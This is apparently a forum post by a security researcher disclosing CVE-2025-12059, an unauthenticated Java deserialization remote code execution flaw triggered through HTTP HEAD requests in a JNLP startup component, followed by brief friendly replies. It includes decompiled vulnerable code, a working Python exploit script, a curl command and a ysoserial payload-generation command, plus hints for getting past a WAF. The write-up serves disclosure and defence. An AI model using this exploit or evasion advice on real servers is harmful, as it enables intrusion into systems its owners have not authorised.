Abusing HTTP HEAD for Java Deserialization RCE (CVE-2025-12059)

CVE-2025-12059

CWE-502, 538
Unauthenticated Java Deserialization RCE via HTTP HEAD Request

Date: 2025-10-04
Severity: Critical (CVSS v3.1 = 9.8) (Full system compromise risk)
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Etki Kapsamı:Startupv3.29.6.4
Finder: Enay
Sınıflar: com.lbs.start.JLbsStartup, com.lbs.start.SocketToken

https://www.cve.org/cverecord?id=CVE-2025-12059

The application uses the DOCUMENT_URI parameter contained in the JNLP file within the client-server flow and reads the request body returned from this URI/endpoint regardless of the HTTP method (including HEAD) and deserializes it using ObjectInputStream.readObject(). As a result, even without authentication, an attacker can carry a serialized body via a HEAD request, trigger a gadget chain on the server side, and obtain RCE. This behavior can be confused with the fact that the HTTP standard specifies that a HEAD response should not contain a body; however, if the request body is read at the application layer due to an incorrect design, a methodagnostic flow emerges including HEAD and the deserialization chain works in the same way.

In practice, the chain operates as follows: The JNLP provided by the client includes DOCUMENT_URI as an application startup parameter; this parameter is transferred to the server-side web component, where the relevant handler/servlet consumes the request body using request.getInputStream() without performing any method checks. The stream is then passed to a service layer and reaches a new ObjectInputStream(in).readObject() call. During deserialization, a gadget chain linked to class loading and readObject() entry points is executed, allowing command execution. Therefore, when an attacker places a payload.ser file generated with ysoserial into the body of a HEAD request with the header Content-Type: application/x-java-serialized-object, even if the endpoint is invoked with HEAD instead of POST/PUT, the content is still deserialized and commands are executed due to the application’s method-agnostic body processing. Small-sized HEAD requests may return 200 OK and serve the JNLP, indicating that the endpoint processes HEAD and at least partially consumes the body.

From a root cause perspective, the issue can be grouped under two main headings:

Input security: The application passes an unvalidated input stream without enforced data type constraints directly to ObjectInputStream.readObject(). Defenses such as class allowlists or object filters (JEP-290) are either absent or ineffective.
HTTP semantics violation: At the handler/filter/servlet layer, the application does not differentiate body processing based on the HTTP method. In doHead or a shared service branch, getInputStream() is consumed unconditionally; this makes it meaningful and exploitable to carry a body even with HEAD requests.

Remote code execution is possible over the network without authentication. In the configuration used to verify the vulnerability, Java 8 (with JNLP startup on the IcedTea-Web/javaws side), Startupv3.34.8.3.jar serving as the client bootstrap component, and an Apache-Coyote/Tomcat stack on the backend were present. A WAF/405 response was later added after the CVE assignment; although this blocks some PoC variants, it is not a permanent solution as long as the deserialization code remains in place.

Technical Evidence

The content of runapp.jnlp directly redirects to the startup.jar file; I followed the relevant link, downloaded the JAR file to my system, decoded it, and analyzed it.

Within the JAR, calls to com.lbs.start.SocketToken / new ServerSocket(port) and ObjectInputStream.readObject() directly invoke readObject() on the incoming socket.

/* 211 */     listenThread = new Thread(new Runnable()
/*     */         {
/*     */           public void run()
/*     */           {
/* 215 */             Socket connection = null;
/* 216 */             ObjectOutputStream out = null;
/* 217 */             ObjectInputStream in = null;
/* 218 */             String message = null;
/*     */ 
/*     */             
/*     */             while (true) {
/*     */               try {
/* 223 */                 connection = SocketToken.ms_Instance.accept();
/* 224 */                 System.out.println("Connection received from " + connection.getInetAddress().getHostName() + "Port:" + connection
/* 225 */                     .getPort());
/* 226 */                 out = new ObjectOutputStream(connection.getOutputStream());
/* 227 */                 out.flush();
/* 228 */                 in = new ObjectInputStream(connection.getInputStream());
/* 229 */                 out.writeObject("Connection successful");
/* 230 */                 out.flush();
/* 231 */                 System.out.println("server>- Connection successful");
/*     */ 
/*     */                 
/*     */                 try {
/* 235 */                   message = (String)in.readObject(); // UNTRUSTED DESERIALIZATION
/* 236 */                   System.out.println("client>" + message);
/* 237 */                   if (message.equals("LBS_Hello")) {
/*     */                     
/* 239 */                     out.writeObject("LBS_Hello");
/* 240 */                     out.flush();
/*     */                   } else {
/*     */ 
/*     */                     
/*     */                     try {
/*     */                       
/* 246 */                       if (processor != null) {
/* 247 */                         processor.processToken(message);
/*     */                       }
/*     */                     } finally {
/*     */                       
/* 251 */                       out.writeObject("SUCCESS");
/* 252 */                       out.flush();
/*     */                     }
/*     */                   
/*     */                   } 

Additionally, within initListen(...), it is observed that for connections accepted via ms_Instance.accept(), the call new ObjectInputStream(connection.getInputStream()) is again made, and the incoming object is passed to the application logic through processor.processToken(message).

The incoming data is passed to readObject() without applying any security filtering.

exploit.py // Triggering via HEAD

import requests

url = "http://xx.xxx.xxx.xx:xxxx/xxxxxx/xxxxx/runapp?mem=2048&lang=TRTR&access_token=test123&tenantId=1&firmNr=001" ## Veriler Rastgeledir.
payload_file = "payload.ser" ## bizim dosya

with open(payload_file, "rb") as f:
    payload = f.read()

response = requests.head(url, data=payload)

print(f"[+] Response: {response.status_code}")
print(response.headers)

if response.status_code == 200:
    print("[+] HEAD request successfully sent.")
else:
    print(f"[!] Error: {response.status_code}");

or

curl -v --http1.1 -X HEAD \
  -H 'Content-Type: application/x-java-serialized-object' \
  --data-binary @payload.ser \
  'http://host:xxxx/xxxx/smart/runapp'

Payload.ser

java --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections2 "touch /tmp/pwned" > payload.ser

What does DOCUMENT_URI do?

Within JLbsStartup, the JNLP parameter DOCUMENT_URI is read and passed to the application/applet via setDocumentURI(String). In other words, this parameter informs the client-side main component which endpoint on the server it should connect to / where the document service is located. The flow is clear in the file: around line ~524, getParameter("DOCUMENT_URI") is retrieved, and immediately afterward setDocumentURI(...) is invoked via reflection.

/*     */         try {
/* 524 */           String docURI = getParameter("DOCUMENT_URI");
/* 525 */           if (docURI != null)
/*     */           {
/* 527 */             Method mtd3 = applet.getClass().getMethod("setDocumentURI", new Class[] { String.class });
/* 528 */             mtd3.invoke(applet, new Object[] { docURI });
/*     */           }
/*     */         
/* 531 */         } catch (Throwable throwable) {}
/*     */ 

The DOCUMENT_URI in JNLP is passed to the main application via the setDocumentURI(...) flow from JLbsStartup when the client is launched; thus, the client knows which URI to use to communicate with the ‘document’ service on the server side. Deserialization does not occur in this client code; it happens at the server-side endpoint.

Proof of Exploitation

Prepare payload.ser with CommonsCollections2 in the way I provided above and run exploit.py.


The HEAD request was successfully sent using the Python command; the output we expect here is the message indicating that the HEAD request was successfully sent.

Once we sent the HEAD request, the link entered in the Python code was processed; whatever we put there does not really matter. Since the environment allows unauthenticated use of HTTP methods such as PUT or DELETE, it is highly suitable for this kind of operation. RCE via a HEAD request would not normally be expected according to the standard, but it became possible due to incorrect/loose implementations.

As a result, when I ran exploit.py, we can see that the tmp/pwned directory was created on the server.

Timeline

  • 05.10.2025 – Initial disclosure
  • 22.10.2025 – CVE assignment
  • 11.02.2026 – CVE published

Attack Surface

  • Entry point: /xxxx/smart/runapp (JNLP generation endpoint) responds to HEAD/GET requests.
  • Parameter origin: The DOCUMENT_URI argument inside the JNLP is read by the client; while processing the corresponding document/stream on the server side, the body data can be obtained independently of the HTTP method.
  • Method semantics violation: In HTTP/1.1, the body of a HEAD response should be semantically ignored; however, since the application unconditionally reads getInputStream() in a shared handler, serialized content sent via HEAD can also be processed.

Exploitation Prerequisites

  • Authentication: Not required.
  • Network access: Internet.
  • Gadget chain: CommonsCollections2

Exploitability

  • Attack Vector (AV:N): Triggered over a remote network.
  • Low Complexity (AC:L): A handler exists that accepts a body with HEAD.
  • User Interaction (UI:N): None.
  • Privileges Required (PR:N): None.
  • Scope (S:U): Typically within the same component.
  • Impacts:
    • Confidentiality (C:H): File/credential leakage with process privileges, JDBC strings, access keys.
    • Integrity (I:H): Arbitrary command and bytecode execution.
    • Availability (A:H): Service disruption.
  • Reliability: High when the same version/classpath/gadget set is matched; when a WAF is active, adjustments may be required (chunked encoding, content types/different headers, size thresholds, alternative methods).

Note (Why does HEAD work?): The application delegates doHead() to doGet()/process() or a single “process” block unconditionally reads request.getInputStream() for all methods. This is a known pitfall arising from implementation differences; HEAD should not read a body, but if it does and deserializes it, it may lead to RCE.

Why is the risk high?

  • An unauthenticated, remote, single-packet triggerable RCE vector.
  • The fact that it works even with HEAD breaks the assumption of classic WAF rule sets that “only POST/PUT bodies need to be inspected.”
  • The abundance of gadgets in the Java enterprise ecosystem means a high probability of practical exploitation.

Limitations / Environmental Factors

  • WAF added later: Returns RST or 405 for large/suspicious body submissions; this hides the symptom but does not remove the root cause.
  • Classpath differences: Certain gadgets may not exist in some versions, but alternative chains generally exist.

Hashes

Payload.ser
SHA-256 Hash: 3d302311134368d4fd6bd5e3ca6703510608bae3a0856281b11415dba952bff5
Size: 4,096

Startupv3.29.6.4.jar
SHA-256 Hash: d1b18391d76822a61a0434d47334d64d56471e1e2d89cd8e1962dfea16b96004
Size: 200,704

What The RCE?

The object class may be objects such as readObject() / ObjectInputStream, as explained earlier. While the object normally performs fairly innocent data transfer operations within the system, a malicious attacker who identifies the vulnerability can serialize the existing data and inject it into the system, as in scenario A.

In scenario B, if the malicious attacker is able to send serialized data, the process known as deserialization occurs and the system converts this data from its serialized form back into an object internally.

In scenario C, there is no longer any obstacle preventing the attacker from executing commands within the system.

This work was conducted solely for security research and awareness purposes. The relevant institution was informed, and exploit details were not shared until the vulnerability was resolved.

9 Likes

Whoa nice found ! you are from Turky ?

1 Like

yes w1sdom… do you like kebab?

Yes I know Kebab, there are many kebab sellers in Indonesia

Wow! They used to say Indonesians were Turkish, but I never believed it.

Whoaa cooll, nice found!!!,

ye, thanks again. my endonasian friend

Awesome post. I can smell the HQ content and effort put into all that. Keep it up Enay, was a good read!

1 Like

thank you my friend.

1 Like

Very helpful! Thank you!

1 Like